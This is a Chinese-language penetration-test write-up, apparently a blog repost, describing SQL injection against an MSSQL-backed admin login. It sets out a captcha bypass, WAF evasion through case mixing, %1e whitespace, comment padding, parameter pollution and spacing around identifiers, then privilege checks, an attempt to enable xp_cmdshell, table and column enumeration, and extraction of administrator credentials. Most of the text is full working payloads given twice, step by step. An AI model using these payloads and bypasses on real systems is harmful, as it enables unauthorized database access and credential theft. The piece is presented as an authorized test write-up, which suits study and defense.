• 记一次实战MSSQL注入绕过WAF


    本次测试为授权测试。注入点在后台登陆的用户名处

    存在验证码,可通过删除Cookie和验证码字段绕过验证


    添加一个单引号,报错

    and '1'='1
    

    连接重置——被WAF拦截

    改变大小写并将空格替换为MSSQL空白符[0x00-0x20]

    %1eaNd%1e'1'='1
    


    查询数据库版本,MSSQL 2012 x64

    %1eoR%1e1=@@version%1e--
    


    查询当前用户

    %1eoR%1e1=user%1e--
    


    查询当前用户是否为dba和db_owner

    ;if(0=(SelEct%1eis_srvrolemember('sysadmin'))) WaItFOR%1edeLAY%1e'0:0:5'%1e --
    ;if(0=(SelEct%1eis_srvrolemember('db_owner'))) WaItFOR%1edeLAY%1e'0:0:5'%1e --
    

    均出现延时,当前用户既不是dba也不是db_owner

    尝试执行xp_cmdsehll,没有相关权限

    ;eXeC%1esp_configure%1e'show advanced options',1;RECONFIGURE%1e --
    ;eXeC%1esp_configure%1e'xp_cmdshell',1;RECONFIGURE%1e --
    



    查询当前数据库,连接重置——被WAF拦截

    %1eoR%1e1=(db_name()%1e)%1e--
    


    去掉函数名的一个字符则正常返回——WAF过滤了函数db_name()。MSSQL和MSQL有一些相同的特性,比如:函数名和括号之前可用注释或空白符填充

    %1eoR%1e1=(db_name/**/()%1e)%1e--
    



    查询当前数据库的表,连接重置——被WAF拦截

    %1eoR%1e1=(SelEct%1etop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema.tAbles%1e)%1e--
    


    删除select后面的语句,返回正常。在IIS+ASPX的环境里,如果同时提交多个同名参数,则服务端接收的参数的值为用逗号连接的多个值,在实际应用中可借助注释符注释掉逗号

    %1eoR%1e1=(SelEct/*&username=*/%1etop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema.tAbles%1e)%1e--
    

    依然被拦截

    删除infOrmatiOn_sChema.tAbles的一个字符则返回正常——WAF过滤了infOrmatiOn_sChema.tAbles。以前在学习MYSQL注入时看到官方文档有这样一句话:"The qualifier character is a separate token and need not be contiguous with the associated identifiers." 可知限定符(例如'.')左右可插入空白符,而经过测试MSSQL具有相同的特性。infOrmatiOn_sChema.tAbles -> infOrmatiOn_sChema%0f.%0ftAbles

    %1eoR%1e1=(SelEct/*&username=*/%1etop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema%0f.%0ftAbles%1e)%1e--
    


    可通过not in('table_1','table_2'...)的方式遍历表名

    手工注入使用这种方法太慢,一次性查询所有表名

    %1eoR%1e1=(SelEct/*&username=*/%1equotename(name)%1efRom bak_ptfl%0f..sysobjects%1ewHerE%1extype='U' FOR XML PATH(''))%1e--
    


    根据表名判断管理员表应该为appsadmin,一次性查询该表的所有列

    %1eoR%1e1=(SelEct/*&username=*/%1equotename/**/(name)%1efRom bak_ptfl%0f..syscolumns%1ewHerE%1eid=(selEct/*&username=*/%1eid%1efrom%1ebak_ptfl%0f..sysobjects%1ewHerE%1ename='appsadmin')%1efoR%1eXML%1ePATH/**/(''))%1e--&password=admin
    


    获得管理员用户名和密码字段:AdminName、Password。查询用户名和密码

    %1eoR%1e1=(SelEct/*&username=*/%1etOp%1e1%1eAdminName%1efRom%1eappsadmin%1e)%1e--
    %1eoR%1e1=(SelEct/*&username=*/%1etOp%1e1%1epassword%1efRom%1eappsadmin)%1e--
    



    解密后成功登陆后台


    总结

    1.对目标站点进行bp抓包,发现目标系统存在验证码

    2.在请求的数据包中将cookie的参数和值删除以及删除掉验证码参数和值。

    3.再次进行请求,发现没有提示验证码错误的信息

    4.请求的post数据包中的username处加入单引号报错

    username=amdin'&password=admin

    5.测试and  '1'='1,无法显示,则目标系统存在WAF

    username=amdin'  and  '1'='1&password=admin

    6.改变and关键字大小写,空格用mssql空白符([0x00-0x20])也就是%1e替换。可看到正常回显内容

    username=amdin'%1eaNd%1e'1'='1&password=admin

    7.查询数据库版本

    username=amdin'%1eoR%1e1=@@version%1e--&password=admin

    8、查询当前用户

    username=amdin'%1eoR%1e1=user%1e--&password=admin

    9.查询当前用户是否为dba和db_owner,均出现延时,当前用户既不是dba也不是db_owner

    username=amdin';if(0=(SelEct%1eis_srvrolemember('sysadmin'))) WaItFOR%1edeLAY%1e'0:0:5'%1e --&password=admin

    username=amdin';if(0=(SelEct%1eis_srvrolemember('db_owner'))) WaItFOR%1edeLAY%1e'0:0:5'%1e --&password=admin

    10.尝试执行xp_cmdsehll,没有相关权限,提示xp_cmdshell不存在

    username=amdin';eXeC%1esp_configure%1e'show advanced options',1;RECONFIGURE%1e --&password=admin

    username=amdin';eXeC%1esp_configure%1e'xp_cmdshell',1;RECONFIGURE%1e --&password=admin

    11.查询当前数据库名,连接重置——被WAF拦截

    username=amdin'%1eoR%1e1=(db_name()%1e)%1e--&password=admin

    12.waf那么可能拦截了db_name()函数,这里可以通过函数名和括号之前可用注释/**/或空白符填充,成功获取当前数据库名

    username=amdin'%1eoR%1e1=(db_name/**/()%1e)%1e--&password=admin

    13.获取当前数据库表,连接重置——被WAF拦截


    username=amdin'%1eoR%1e1=(SelEct%1etop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema.tAbles%1e)%1e--&password=admin

    14.删除select后面的语句,返回正常。在IIS+ASPX的环境里,如果同时提交多个同名参数,则服务端接收的参数的值为用逗号连接的多个值,在实际应用中可借助注释符注释掉逗号,依然被WAF拦截

    username=amdin'%1eoR%1e1=(SelEct/*&username=*/%1etop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema.tAbles%1e)%1e--&password=admin

    15.删除infOrmatiOn_sChema.tAbles的一个字符则返回正常——WAF过滤了infOrmatiOn_sChema.tAbles。以前在学习MYSQL注入时看到官方文档有这样一句话:"The qualifier character is a separate token and need not be contiguous with the associated identifiers." 可知限定符(例如'.')左右可插入空白符,而经过测试MSSQL具有相同的特性。infOrmatiOn_sChema.tAbles -> infOrmatiOn_sChema%0f.%0ftAbles,成功获取表名

    username=amdin'%1eoR%1e1=(SelEct/*&username=*/%1etop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema%0f.%0ftAbles%1e)%1e--&password=admin

    16.一次性查询所有表名

    username=amdin'%1eoR%1e1=(SelEct/*&username=*/%1equotename(name)%1efRom bak_ptfl%0f..sysobjects%1ewHerE%1extype='U' FOR XML PATH(''))%1e--&password=admin

    17.根据表名判断管理员表应该为appsadmin,一次性查询该表的所有列

    username=amdin'%1eoR%1e1=(SelEct/*&username=*/%1equotename/**/(name)%1efRom bak_ptfl%0f..syscolumns%1ewHerE%1eid=(selEct/*&username=*/%1eid%1efrom%1ebak_ptfl%0f..sysobjects%1ewHerE%1ename='appsadmin')%1efoR%1eXML%1ePATH/**/(''))%1e--&password=admin

    18.获得管理员用户名和密码字段:AdminName、Password。查询用户名和密码

    username=amdin'%1eoR%1e1=(SelEct/*&username=*/%1etOp%1e1%1eAdminName%1efRom%1eappsadmin%1e)%1e--&password=admin

    username=amdin'

    %1eoR%1e1=(SelEct/*&username=*/%1etOp%1e1%1epassword%1efRom%1eappsadmin)%1e--&password=admin

    20.解密用户名的密码hash值,成功登陆后台




  • 相关阅读:
    pycharm的常规使用
    python-引用/模块
    6-4 函数
    5-21文件的操作
    5-21python数据类型
    python-基础
    5-7接口测试工具之jmeter的使用
    接口测试基础
    把命令结果作为变量赋值
    shell变量子串
  • 原文地址:https://www.cnblogs.com/backlion/p/15824578.html
Copyright © 2020-2023  润新知